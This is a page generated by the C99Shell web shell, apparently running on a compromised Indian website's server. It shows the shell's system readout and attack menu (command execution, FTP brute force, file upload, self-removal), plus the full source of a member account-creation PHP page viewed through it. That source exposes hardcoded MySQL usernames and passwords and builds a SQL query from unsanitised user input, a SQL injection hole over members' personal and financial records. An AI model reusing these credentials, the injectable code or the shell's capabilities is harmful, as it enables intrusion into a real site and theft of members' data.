!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/studentlogin/   drwxr-xr-x
Free 30.76 GB of 49.93 GB (61.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     createaccount_rd.php (13.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php include('session.php'); ?>
<?php 
include ('receipt_rd.php'); ?>
<?php 
include ('account_rd.php'); ?>

<?php
// Create connection
$con=mysqli_connect("localhost","sarkmicr_user","rb!sar838","sarkmicr_data");

    
// Check connection
    
if (mysqli_connect_errno())

// Check connection
if (mysqli_connect_errno())
  {
  echo 
"Failed to connect to MySQL: " mysqli_connect_error();
  } else {
    echo 
"We are connected.";
    }

    
$result mysqli_query($con,"SELECT ID, name FROM addmember");

?> 
</form>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

</head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Account Create</title>


<script src="SpryAssets/SpryMenuBar.js" type="text/javascript"></script>
<link href="SpryAssets/SpryMenuBarHorizontal.css" rel="stylesheet" type="text/css" />
<style type="text/css">
a:link {
    text-decoration: none;
}
a:visited {
    text-decoration: none;
}
a:hover {
    text-decoration: none;
}
a:active {
    text-decoration: none;
}
body {
    background-color: #CCC;
}
</style>
<script language="JavaScript" type="text/javascript">
<!--

function Toggle(obj){
 var val=obj.value;
 if (!obj.m){ obj.m=''; }
 if (!obj.m.match(val)){ obj.m+=','+val+','; }
 var hide=obj.m.split(',');
 for (var zxc0=0;zxc0<hide.length;zxc0++){
  if (document.getElementById(hide[zxc0])){
   document.getElementById(hide[zxc0]).style.display='none';
  }
 }
 var show=val.split(',');
 for (var zxc1=0;zxc1<show.length;zxc1++){
  if (document.getElementById(show[zxc1])){
   document.getElementById(show[zxc1]).style.display='';
  }
 }
}

//-->
</script>
</head>
<center>
<body>
<form name="autoSumForm">
<table width="100%" border="0"  bgcolor="#FFFFFF">
  <tr>
    <td ><?php include('header.php'); ?></td>
    <td colspan="2"></td
    ></tr>
  <tr>
    <td colspan="3"> 
    
    <table width="100%" border="0">
      <tr>
        <td colspan="3" bgcolor="#CCCCCC"><?php include('menubar.php'); ?></td>
      </tr>
      <tr>
        <td width="210" bgcolor="#6699CC">Welcome <?php echo $user ?></td>
        <td width="335" bgcolor="#6699CC"><a href="logout.php">Logout</a></td>
        <td width="386" bgcolor="#6699CC"><?php echo "Today is " date("d/m/y") . "<br>";?></td>
      </tr>
    </table>
    </td>
   </tr>
   <tr>
   <td colspan="2" align="left">
  <form action="" method="get" name="form">
        Enter Member Code :
          <input name="q" type="text" />
        <input type="submit" name="Submit" value="Search" />
        </form>
        </td>
        </tr>
  <tr>
    <td colspan="2"> </td> </tr>
  <tr>
    <td colspan="2">
 
   <form id="form1" name="form1" method="post" action="acc_print_rd.php" enctype="multipart/form-data">
    <?php

  
// Get the search variable from URL

  
$var = @$_GET['q'] ;
  
$trimmed trim($var); //trim whitespace from the stored variable

// rows to return
$limit=1

// check for an empty string and display a message.
if ($trimmed == "")
  {
 
  exit;
  }

// check for a search parameter
if (!isset($var))
  {
  echo 
"<p>We dont seem to have a search parameter!</p>";
  exit;
  }

mysql_connect("localhost","anshdiam_user","rb!ans838"); //(host, username, password)

//specify database ** EDIT REQUIRED HERE **
mysql_select_db("anshdiam_sarkmicr_data") or die("Unable to select database"); //select which database we're using



$field 'membercode';
// Build SQL Query  
$query "select * from  addmember where $field like \"$trimmed\"  
order by 
$field"// EDIT HERE and specify your table and field names for the SQL query

$numresults=mysql_query($query);
$numrows=mysql_num_rows($numresults);

// If we have no results, offer a google search as an alternative

if ($numrows == 0)
  {
  
  echo 
"   Sorry,  $trimmed   this  Number is not found";


  }

// next determine if s has been passed to script, if not use 0
  
if (empty($s)) {
  
$s=0;
  }

// get results
  
$query .= " limit $s,$limit";
  
$result mysql_query($query) or die("Couldn't execute query");


// begin to show results set
$count $s ;

// now you can display the results returned
  
while ($rowmysql_fetch_array($result))
   {
 
echo 
"  <table width=\"100%\" border=\"0\">\n"
echo 
"  <tr bgcolor='#66CCFF'>\n"
echo 
"    <td width=\"111\">E.Name</td>\n"
echo 
"    <td width='165'  bgcolor='#66CCFF' ><input name='agent_name' value='$row[name]' type='text' required='required' readonly size='40' maxlength='50' /></td>\n"
echo 
"    <td width=\"144\">Agent Code</td>\n"
echo 
"    <td ><input type=\"text\"  bgcolor='#66CCFF' name='agent_code'  id='agent_code' value='$trimmed' readonly /></td>"
echo 
"    <td width=\"144\">Agent Rank</td>\n"
echo 
"    <td ><input type=\"text\"  bgcolor='#66CCFF' name='agent_rank'  id='agent_rank' value='$row[rank]' readonly /></td>"


echo 
"  </tr>\n"
echo 
"</table>\n"
echo 
"     \n";
$nc=$row[networkcode];
$name=$row[name];
$midname=$row[mmidname];
$surname=$row[msurname];
$mfname=$row[fname];
$mfmidname=$row[fmidname];
$mfsurname=$row[fsurname];
$village=$row[village];
$post=$row[post];
$distt=$row[distt];
$state=$row[state];
$dob=$row[dob];
$phone=$row[phoneno];
$email=$row[email];
$pin=$row[pin];
$pan=$row[pan];
$occupation=$row[occupation];
$qualification=$row[qualification];
$nomineename=$row[nomineename];
$nomineerelationship=$row[nomineerelationship];
  
$count++ ;
  }

$currPage = (($s/$limit) + 1);

//break before paging
  
echo "";

  
// next we need to do the links to other results
  
if ($s>=1) { // bypass PREV link if s is 0
  
$prevs=($s-$limit);
  print 
"<a href=\"$PHP_SELF?s=$prevs&q=$var\">&lt;&lt; 
  Prev 10</a>&nbsp"
;
  }

// calculate number of pages needing links
  
$pages=intval($numrows/$limit);

// $pages now contains int of pages needed unless there is a remainder from division

?>
      
</td>
</tr>
     <tr>
      <td colspan="2"></td></tr>
  <tr>
    <td colspan="2"></td> </tr>
  <tr>
    <td colspan="3" bgcolor="#66CCFF">
     
     <table width="100%" border="0">
        <tr>
          <td align="left" bgcolor="#99CC33">Account No</td>
          <td width="460" align="left" bgcolor="#99CC33"><input name="account" type="text"   id="account" tabindex="1"  size="20" maxlength="20"  required="required" readonly="readonly" value=<?php echo $accountnew ?> /></td>
          <td width="166" align="left" bgcolor="#99CC33">Registration Date</td>
          <td align="left" bgcolor="#99CC33"><select name="jdate" size="1" id="da">
            <option><?php echo date(d?></option>
            <option>01</option>
            <option>02</option>
            <option>03</option>
            <option>04</option>
            <option>05</option>
            <option>06</option>
            <option>07</option>
            <option>08</option>
            <option>09</option>
            <option>10</option>
            <option>11</option>
            <option>12</option>
            <option>13</option>
            <option>14</option>
            <option>15</option>
            <option>16</option>
            <option>17</option>
            <option>18</option>
            <option>19</option>
            <option>20</option>
            <option>21</option>
            <option>22</option>
            <option>23</option>
            <option>24</option>
            <option>25</option>
            <option>26</option>
            <option>27</option>
            <option>28</option>
            <option>29</option>
            <option>30</option>
            <option>31</option>
            </select>
            <select name="jmonth" id="jmonth">
              <option><?php echo date(m?></option>
              <option>01</option>
              <option>02</option>
              <option>03</option>
              <option>04</option>
              <option>05</option>
              <option>06</option>
              <option>07</option>
              <option>08</option>
              <option>09</option>
              <option>10</option>
              <option>11</option>
              <option>12</option>
              </select>
            <select name="jyear" id="jyear">
              <option><?php echo date(Y?></option>
              <option>2014</option>
              <option>2015</option>
              <option>2016</option>
              <option>2017</option>
              <option>2018</option>
              <option>2019</option>
              <option>2020</option>
            </select></td>
          </tr>
        <tr>
          <td width="175" align="left" bgcolor="#99CC33">Name</td>
          <td align="left" bgcolor="#99CC33"><input   name="cname" type="text" id="cname" size="60" maxlength="80"  />            <label for="textfield2" ></label></td>
          <td align="left" bgcolor="#99CC33">Pan No</td>
          <td align="left" bgcolor="#99CC33"><input name="panno" type="text"  id="panno" tabindex="3" size="20" maxlength="20"/></td>
          </tr>
        <tr>
          <td align="left" bgcolor="#99CC33">Father/Husband Name</td>
          <td align="left" bgcolor="#99CC33"><input  name="fname" type="text" id="fname" size="60" maxlength="80" /></td>
          <td align="left" bgcolor="#99CC33">Phone</td>
          <td align="left" bgcolor="#99CC33"><input type="text" name="phone" id="phone"   tabindex="5"  /></td>
          </tr>
        <tr>
          <td height="38" align="left" bgcolor="#99CC33">Address</td>
          <td align="left" bgcolor="#99CC33"><input  name="address" type="text"  id="address" tabindex="3" size="30" maxlength="80" /></td>
          <td align="left" bgcolor="#99CC33">Date of Birth</td>
          <td width="279" align="left" bgcolor="#99CC33"><input name="dob" type="text"  required="required" id="datepicker" tabindex="7" /></td>
          </tr>
        <tr>
          <td height="37" align="left" bgcolor="#99CC33">Email</td>
          <td align="left" bgcolor="#99CC33"><label for="textfield4">
            <input type="text" name="email" id="email" tabindex="6" />
            </label></td>
          <td align="left" bgcolor="#99CC33">Occupation</td>
          <td align="left" bgcolor="#99CC33"><input type="text" name="occupation" id="occupation"  tabindex="8" required /></td>
          </tr>
        <tr>
          <td align="left" bgcolor="#99CC33">Qualification</td>
          <td align="left" bgcolor="#99CC33"><label for="textfield5"></label>
            <input type="text" name="qualification" id="qualification"  tabindex="9" /></td>
          <td align="left" bgcolor="#99CC33">Member Code</td>
          <td align="left" bgcolor="#99CC33"><label for="textfield10">
            <input name="mcode" type="text" id="mcode"  tabindex="15" value=<?php echo $trimmed ?> readonly="readonly" />
          </label></td>
          </tr>
        <tr>
          <td align="left" bgcolor="#99CC33">Nominee Name</td>
          <td align="left" bgcolor="#99CC33"><label for="textfield6"></label>
            <input type="text" name="nominee_name" id="nominee_name"  tabindex="12"   /></td>
          <td align="left" bgcolor="#99CC33">Nominee Age</td>
          <td align="left" bgcolor="#99CC33"><label for="textfield11"></label>
            <input type="text" name="nominee_age" id="nominee_age" tabindex="13" /></td>
          </tr>
        <tr>
          <td align="left" bgcolor="#99CC33">Nominee Relation</td>
          <td align="left" bgcolor="#99CC33"><input type="text" name="nomineerelation" id="nomineerelation"  tabindex="14"  /></td>
          <td align="left" bgcolor="#99CC33">No of Installment</td>
          <td align="left" bgcolor="#99CC33"><input name="noofinstall" type="text" required id="noofinstall"  tabindex="21" value="1"/></td>
         </tr>
        <tr>
          <td align="left" bgcolor="#99CC33"> Premium Amount</td>
          <td bgcolor="#99CC33"  align="left" valign="top">
           <input name= "amount" id="amount"  required="required"  >
          
          
          </td>
          <td align="left" bgcolor="#99CC33">Scheme Name</td>
          <td align="left" bgcolor="#99CC33">
            
              <select name="planname" size="1" id="planname" >
                <option value="RD">RD</option>
              </select>
            </label></td>
          </tr>
        <tr>
          <td align="left" bgcolor="#99CC33">Plan Time</td>
          <td align="left" valign="top" bgcolor="#99CC33"><select name="plantime" id="plantime">
            <option value="12 ">1</option>
            <option value="24 ">2</option>
            <option value="36 " selected="selected">3</option>
            <option value="48 ">4</option>
            <option value="60 ">5</option>
            <option value="72 ">6</option>
          </select> 
            Years</td>
          <td align="left" valign="top" bgcolor="#99CC33">Branch Name</td>
          <td align="left" valign="top" bgcolor="#99CC33"><input name="branchname" type="text" required id="branchname"  readonly="readonly" value="<?php echo $user ?>" tabindex="21" /></td>
        </tr>
        <tr>
          <td align="left" bgcolor="#99CC33">Installment Type</td>
          <td align="left" bgcolor="#99CC33"><label for="plantype"></label>
            <select name="plantype" id="plantype">
              <option>Months</option>
              <option>Years</option>
            </select>            
            <label for="textfield20"></label></td>
          <td align="left" bgcolor="#99CC33">Receipt No</td>
          <td align="left" bgcolor="#99CC33"><input name="receipt" type="text" id="receipt"  value="<?php echo $receiptnew?>"  readonly/></td>
        </tr>
        <tr>
          <td align="left" bgcolor="#99CC33">Photo</td>
          <td align="left" bgcolor="#99CC33"><input type="file" name="fileField" id="fileField" /></td>
          <td align="left" bgcolor="#99CC33">Signature</td>
          <td align="left" bgcolor="#99CC33"><input type="file" name="fileField2" id="fileField2" /></td>
        </tr>
        <tr>
          <td colspan="4" align="center"><label for="textfield19"></label>            <input type="submit" name="ADD" id="ADD" value="ADD" tabindex="22" /></td>
          </tr>
        </table>
    </form>
       </td>
    </tr>
     
</table>
 </form>

</body></center>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0023 ]--